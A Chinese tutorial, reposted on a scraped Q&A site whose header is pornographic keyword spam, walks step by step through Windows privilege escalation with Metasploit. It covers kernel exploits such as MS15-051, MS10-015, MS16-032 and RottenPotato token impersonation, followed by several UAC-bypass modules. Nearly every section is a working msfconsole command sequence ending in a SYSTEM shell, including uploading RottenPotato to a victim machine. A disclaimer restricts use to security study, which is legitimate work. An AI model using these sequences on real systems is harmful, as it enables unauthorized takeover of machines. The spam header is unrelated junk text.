日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Metasploit 提权篇

發布時間:2024/6/3 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Metasploit 提权篇 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


聲明:文中所涉及的技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔!

文章目錄

  • 內核漏洞提權
    • enum_patches模塊
    • Windows-Exploit-suggester
    • Windows ClientCopyImage Win32k Exploit(MS15-051)
    • Windows TrackPopupMenu Win32k NULL指針解引用(ms14_058)
    • 通過 KiTrap0D 提升 Windows 權限(ms10_015)
    • Task Scheduler XML提權(ms10_092)
    • MS16-016 mrxdav.sys WebDav本地提權(ms16_016)
    • EPATHOBJ::pprFlattenRec本地提權
    • MS13-053 : NTUserMessageCall Win32k內核池溢出(ms13_053)
    • MS16-032 Secondary Logon Handle提權(ms16_032)
    • RottenPotato將服務帳戶本地提權至SYSTEM
  • 使用Metasploit繞過UAC的多種方法
    • UAC簡介
    • 幾種繞過UAC的方法
    • exploit/windows/local/ask模塊繞過(最好用的一個)
    • Windows提權UAC保護繞過(bypassuac進程注入)
    • Windows提權UAC保護繞過(bypassuac_injection內存注入)
    • Windows提權UAC保護繞過(通過FodHelper注冊表項)
    • Windows提權UAC保護繞過(通過Eventvwr注冊表項)
    • Windows提權UAC保護繞過(COM處理程序劫持)

內核漏洞提權

本文將介紹有關Windows內核漏洞提權的方法。我將使用內置的Metasploit模塊作為演示。通過本文的學習,你將了解系統的哪些部分可被利用,并匹配最佳可利用模塊進一步的提升權限。

本地溢出提權首先要有服務器的一個普通用戶權限,攻擊者通常會向服務器上傳本地溢出程序,在服務器端執行,如果系統存在漏洞,那么將溢出Administrator權限。以下是不同系統提權的漏洞和相應的補丁。

假設我們現在已經獲得了一個 Windows 服務器的普通用戶權限,現在我們要利用內核漏洞提權至最高權限。我們要先查看系統補丁:

enum_patches模塊

可先利用enum_patches模塊 收集補丁信息,列出可能存在的漏洞,然后查找可用的exploits進行提權

meterpreter > run post/windows/gather/enum_patches #查看補丁信息
  • 1


發現不少可利用的補丁漏洞,我們用ms13_053_schlamperei

msf > use exploit/windows/local/ms13_053_schlamperei msf > set SESSION 2 msf > exploit
  • 1
  • 2
  • 3

Windows-Exploit-suggester

**Metasploit內置模塊提供了各種可用于提權的windows local exploits,并會基于架構,平臺(即運行的操作系統),會話類型和所需默認選項提供建議。**這極大的節省了我們的時間,省去了我們手動搜索local exploits的麻煩。雖說如此,但也并非所有列出的local exploits都可用。所以,無論是漏洞利用還是查找最好的辦法就是自動結合手動。

**注:**要使用local exploit suggester,我們必須已在目標機器上獲取到了一個Meterpreter session。在運行Local Exploit suggester之前,我們需要將現有的Meterpreter session調到后臺運行(background)

示例,假設我們現在有一個Meterpreter session 1

> background > use post/multi/recon/local_exploit_suggester > set LHOST 192.168.1.107 > set SESSION 1 > exploit
  • 1
  • 2
  • 3
  • 4
  • 5

如下圖所示,它自動的為我們匹配出了一些可能的用于易受攻擊目標提權的漏洞利用模塊

如圖所示我們可以使用exploit/windows/local/bypassuac_fodhelper模塊:

use exploit/windows/local/bypassuac_fodhelper set SESSION 2 set LHOST 39.xx1.21x.xx0 run
  • 1
  • 2
  • 3
  • 4

得到會話meterpreter后執行getsystem即可成功繞過uac提權成功

Windows ClientCopyImage Win32k Exploit(MS15-051)

Windows內核模式驅動程序特權提升漏洞。此模塊利用了win32k.sys內核模式驅動程序中的不正確對象處理進行提權。

該模塊已在Windows 7 x64和x86,Windows 2008 R2 SP1 x64的易受攻擊版本上進行了測試。

讓我們轉到MSF控制臺并執行該漏洞的exploit模塊

> use exploit/windows/local/ms15_051_client_copy_image > set lhost 192.168.1.107 > set lport 2333 > set session 1 > exploit
  • 1
  • 2
  • 3
  • 4
  • 5

一旦exploit成功執行,就會打開另一個Meterpreter session

> getsystem > getuid
  • 1
  • 2

可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM

Windows TrackPopupMenu Win32k NULL指針解引用(ms14_058)

此模塊利用了win32k.sys中的NULL指針解引用,漏洞可通過TrackPopupMenu函數進行觸發。在特殊情況下,我們可以濫用在xxxSendMessageTimeout上的NULL指針解引用,來實現任意代碼執行操作。

該模塊已在Windows XP SP3Windows Server 2003 SP2Windows 7 SP1 Windows Server 2008 32位Windows Server 2008 R2 SP1 64位上進行了測試。

讓我們轉到MSF控制臺并執行該漏洞的exploit模塊

> use exploit/windows/local/ms14_058_track_popup_menu > set lhost 192.168.1.107 > set session 1 > exploit
  • 1
  • 2
  • 3
  • 4

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem getuid
  • 1
  • 2

可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM

通過 KiTrap0D 提升 Windows 權限(ms10_015)

此模塊將通過KiTrap0D exploit創建具有SYSTEM權限的新會話,如果當前使用的會話權限已提升,則exploit將不會運行。該模塊依賴于kitrap0d.x86.dll,因此 在x64版本的Windows上不受支持

該模塊已在32位Windows Server 2003Windows Server 2008Windows 7XP易受攻擊版本上進行了測試。

讓我們轉到MSF控制臺并執行該漏洞的exploit模塊

> use exploit/windows/local/ms10_015_kitrap0d > set lhost 192.168.1.107 > set session 1 > exploit
  • 1
  • 2
  • 3
  • 4

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem getuid
  • 1
  • 2

可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM

Task Scheduler XML提權(ms10_092)

如果攻擊者登錄到受影響的系統,并運行特制應用程序,則該漏洞可能允許特權提升。攻擊者必須擁有有效的登錄憑據,并且能夠在本地登錄才能成功利用此漏洞。遠程或匿名用戶則無法利用此漏洞。

該模塊已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻擊版本上進行了測試。

讓我們轉到MSF控制臺并執行該漏洞的exploit模塊

> use exploit/windows/local/ms10_092_schelevator set lhost 192.168.1.107 set session 1 > exploit
  • 1
  • 2

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem getuid
  • 1
  • 2

可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM

MS16-016 mrxdav.sys WebDav本地提權(ms16_016)

該模塊已在Windows 7 SP1,x86架構的易受攻擊版本上進行了測試。

讓我們轉到MSF控制臺并執行該漏洞的exploit模塊

use exploit/windows/local/ms16_016_webdav set lhost 192.168.1.107 set session 1 exploit
  • 1

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem getuid
  • 1
  • 2

可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM

EPATHOBJ::pprFlattenRec本地提權

此模塊利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要問題出在使用了未初始化的數據(即允許損壞內存)。

目前,該模塊已在Windows XP SP3Windows 2003 SP1Windows 7 SP1上成功進行了測試。

讓我們轉到MSF控制臺并執行該漏洞的exploit模塊

use exploit/windows/local/ppr_flatten_rec set lhost 192.168.1.107 set session 1 exploit
  • 1

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem getuid
  • 1
  • 2

可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM

MS13-053 : NTUserMessageCall Win32k內核池溢出(ms13_053)

Win32k中的內核池溢出漏洞,可允許本地用戶提權。內核shellcode使winlogon.exe進程的ACL為NULL(SYSTEM進程)。這將允許任何非特權進程自由遷移到winlogon.exe,從而提升用戶權限。注意:退出meterpreter會話時,可能會導致winlogon.exe崩潰。
目前,該模塊已在Windows 7 SP1 x86上成功測試。

讓我們轉到MSF控制臺并執行該漏洞的exploit模塊

use exploit/windows/local/ms13_053_ schlamperei set lhost 192.168.1.107 set session 1 exploit
  • 1

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem getuid
  • 1
  • 2

可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM

MS16-032 Secondary Logon Handle提權(ms16_032)

此模塊利用了Windows Secondary Logon Service中缺少標準句柄過濾的問題。該漏洞主要影響Windows 7-10和2k8-2k12 32/64位版本。此模塊僅適用于具有Powershell 2.0或更高版本的Windows系統,以及具有至少兩個或以上CPU內核的系統。

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set session 1 exploit
  • 1

一旦exploit成功執行,就會打開另一個Meterpreter session

getsystem getuid
  • 1
  • 2

可以看到,我們當前的用戶權限已提升為了**NT AUTHORITY\SYSTEM

RottenPotato將服務帳戶本地提權至SYSTEM

使用RottenPotato將服務帳戶本地提權至SYSTEM。

首先,我們在meterpreter會話中使用以下選項查看當前系統上是否存在任何有效tokens。

load incognito list_token -u
  • 1
  • 2

可以看到,當前并沒有任何SYSTEM權限的token可用。

現在,我們從github下載Rottenpotato。

git clone https://github.com/foxglovesec/RottenPotato.git cd RottenPotato
  • 1
  • 2

下載完成后我們會在Rottenpotato目錄下,看到一個rottenpotato.exe文件。

將該文件上傳至受害者機器。

upload /root/Desktop/RottenPotato/rottenpotato.exe .
  • 1


然后,鍵入以下命令執行該exe文件,并將SYSTEM token添加到impersonate user tokens下。

execute -Hc -f rottenpotato.exe impersonate_token "NT AUTHORITY\\SYSTEM"
  • 1
  • 2

可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM

使用Metasploit繞過UAC的多種方法

用戶帳戶控制(簡稱UAC)是微軟公司在其Windows Vista,及更高版本操作系統中采用的一種控制機制。通過本文你將了解它是如何保護你免受惡意軟件侵害的,以及忽略UAC提示將可能給你系統帶來的麻煩。

UAC簡介

什么是用戶帳戶控制?

UAC是在Windows Vista及更高版本操作系統中采用的一種控制機制,它以預見的方式阻止不必要的系統范圍更改

換句話說,它是Windows的一項安全功能,支持你 阻止任何對系統未經授權的更改操作行為 。UAC確保僅在管理員授權的情況下進行某些更改。如果管理員不允許更改,則不會執行這些更改,并且Windows也不會發生任何的改變。

UAC是如何運作的?

一旦程序執行涉及系統更改/特定任務就會觸發UAC。除非嘗試執行它們的進程以管理員權限運行,否則這些操作都將被阻止。沒有管理員權限將無法執行以下操作:

注冊表修改(如果注冊表項位于如HKEY_LOCAL_MACHINE下(因為它影響多個用戶),它將是只讀的)

加載設備驅動程序

DLL注入

修改系統時間(clock)

修改用戶帳戶控制設置(通過注冊表可以啟用/禁用它,但你需要正確的權限才能執行該操作)

修改受保護的目錄(例如Windows文件夾,Program Files)

計劃任務(例如,以管理員權限自啟動)

注:UAC的作用并不是幫你阻止惡意軟件或識別程序是否為惡意程序,這主要取決于用戶。如果用戶以管理員權限執行程序,UAC將提醒用戶并要求用戶提供確認。

幾種繞過UAC的方法

exploit/windows/local/ask exploit/windows/local/bypassuac(bypassuac進程注入) exploit/windows/local/bypassuac_injection(bypassuac_injection內存注入) exploit/windows/local/bypassuac_fodhelper(通過FodHelper注冊表項) exploit/windows/local/bypassuac_eventvwr(通過Eventvwr注冊表項) exploit/windows/local/bypassuac_comhijack(COM處理程序劫持) exploit/windows/local/bypassuac_vbs
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

首先,假設我們已獲取目標系統的meterpreter shell,并得到了一個meterpreter session 1。然后,我們鍵入以下命令提權并查看權限。

getsystem # 未提權成功 getuid
  • 1
  • 2

如果你并未取得system/admin權限,那你就要想辦法繞過目標系統的UAC保護。

exploit/windows/local/ask模塊繞過(最好用的一個)

使用 exploit/windows/local/ask 模塊,需要使用 EXE::Custom 選項創建一個可執行文件(需要免殺),目標機器會運行一個發起提升權限請求的程序,提示用戶是否要繼續運行,如果用戶選擇繼續運行程序,就會返回一個高權限的shell。

使用該模塊的前提:

  • 當前用戶必須在管理員組中 或 知道管理員的密碼,對UAC的設置則沒有要求。
  • 用戶需要手動點擊彈出的程序,是



再執行getsystem,這樣就得到目標機的system權限。

Windows提權UAC保護繞過(bypassuac進程注入)

該模塊將通過進程注入,利用受信任的發布者證書繞過Windows UAC。 它將為我們生成另一個關閉UAC的shell(session 2)。

msf > use exploit/windows/local/bypassuac msf exploit windows/local/bypassuac) > set session 1 msf exploit(windows/local/bypassuac) > exploit
  • 1
  • 2
  • 3

從圖片中可以看到meterpreter session 2已被打開,現在我們鍵入以下命令提權并查看權限。

getsystem getuid
  • 1
  • 2

可以看到我們已將權限提升為了NT AUTHORITY\SYSTEM。現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。

Windows提權UAC保護繞過(bypassuac_injection內存注入)

該模塊將通過進程注入,利用受信任的發布者證書繞過Windows UAC。 它將為我們生成另一個關閉UAC的shell(session 2)。**該模塊將直接運行在內存中的反射DLL中,由于它并不觸碰硬盤,因此可以最大限度地降低被安全檢測的概率。**但該模塊的使用需要選擇正確的架構(對于SYSWOW64系統也是使用x64)。

msf > use exploit/windows/local/bypassuac_injection msf exploit(windows/local/bypassuac_injection) > set session 1 msf exploit(windows/local/bypassuac_injection) > exploit
  • 1
  • 2
  • 3

從圖片中可以看到meterpreter session 2已被打開,現在我們鍵入以下命令提權并查看權限。

getsystem getuid
  • 1
  • 2

可以看到我們已將權限提升為了NT AUTHORITY\SYSTEM。現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。

Windows提權UAC保護繞過(通過FodHelper注冊表項)

該模塊通過在當前用戶配置單元下劫持注冊表中的特殊鍵,并插入將在啟動Windows fodhelper.exe應用程序時調用的自定義命令來繞過Windows 10 UAC。 它將為我們生成另一個關閉UAC的shell。雖然該模塊修改了注冊表,但它會在調用payload后清除該鍵。相比之前的模塊該模塊對架構系統并無特別要求。

msf > use exploit/windows/local/bypassuac_fodhelper msf exploit(windows/local/bypassuac_fodhelper) > set session 1 msf exploit(windows/local/bypassuac_fodhelper) > exploit
  • 1
  • 2
  • 3

從圖片中可以看到meterpreter session 2已被打開,現在我們鍵入以下命令提權并查看權限。

getsystem getuid
  • 1
  • 2

可以看到我們已將權限提升為了NT AUTHORITY\SYSTEM。現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。

Windows提權UAC保護繞過(通過Eventvwr注冊表項)

**該模塊通過在當前用戶配置單元下劫持注冊表中的特殊鍵,并插入將在啟動Windows fodhelper.exe應用程序時調用的自定義命令來繞過Windows 10 UAC。**它將為我們生成另一個關閉UAC的shell。雖然該模塊修改了注冊表,但它會在調用payload后清除該鍵。相比之前的模塊,該模塊對架構系統并無特別要求。

msf > use exploit/windows/local/bypassuac_eventvwr msf exploit(windows/local/bypassuac_eventvwr) > set session 1 msf exploit(windows/local/bypassuac_eventvwr) > exploit
  • 1
  • 2
  • 3

從圖片中可以看到meterpreter session 2已被打開,現在我們鍵入以下命令提權并查看權限。

getsystem getuid
  • 1
  • 2

可以看到我們已將權限提升為了NT AUTHORITY\SYSTEM。現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。

Windows提權UAC保護繞過(COM處理程序劫持)

**此模塊將通過在HKCU配置單元中,創建COM處理程序注冊表項來繞過Windows UAC。**當加載某些高完整性進程時將會引用這些注冊表項,從而導致進程加載用戶控制的DLL。這些DLL中包含了可提升權限的payload。在調用payload后該模塊將會清除該鍵。該模塊的使用需要選擇正確的架構,但在當前低權限的Meterpreter session下架構可以不同。該模塊需要通過目標系統上的cmd.exe來調用目標二進制文件,因此如果限制cmd.exe訪問,則此模塊將無法正常運行。

msf > use exploit/windows/local/bypassuac_comhijack msf exploit(windows/local/bypassuac_comhijack) > set session 1 msf exploit(windows/local/bypassuac_comhijack) > exploit
  • 1
  • 2
  • 3

從圖片中可以看到meterpreter session 2已被打開,現在我們鍵入以下命令提權并查看權限。

getsystem getuid
  • 1
  • 2

可以看到我們已將權限提升為了NT AUTHORITY\SYSTEM。現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。

還有exploit/windows/local/bypassuac_vbs 等模塊。

</div> 與50位技術專家面對面20年技術見證,附贈技術全景圖

總結

以上是生活随笔為你收集整理的Metasploit 提权篇的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。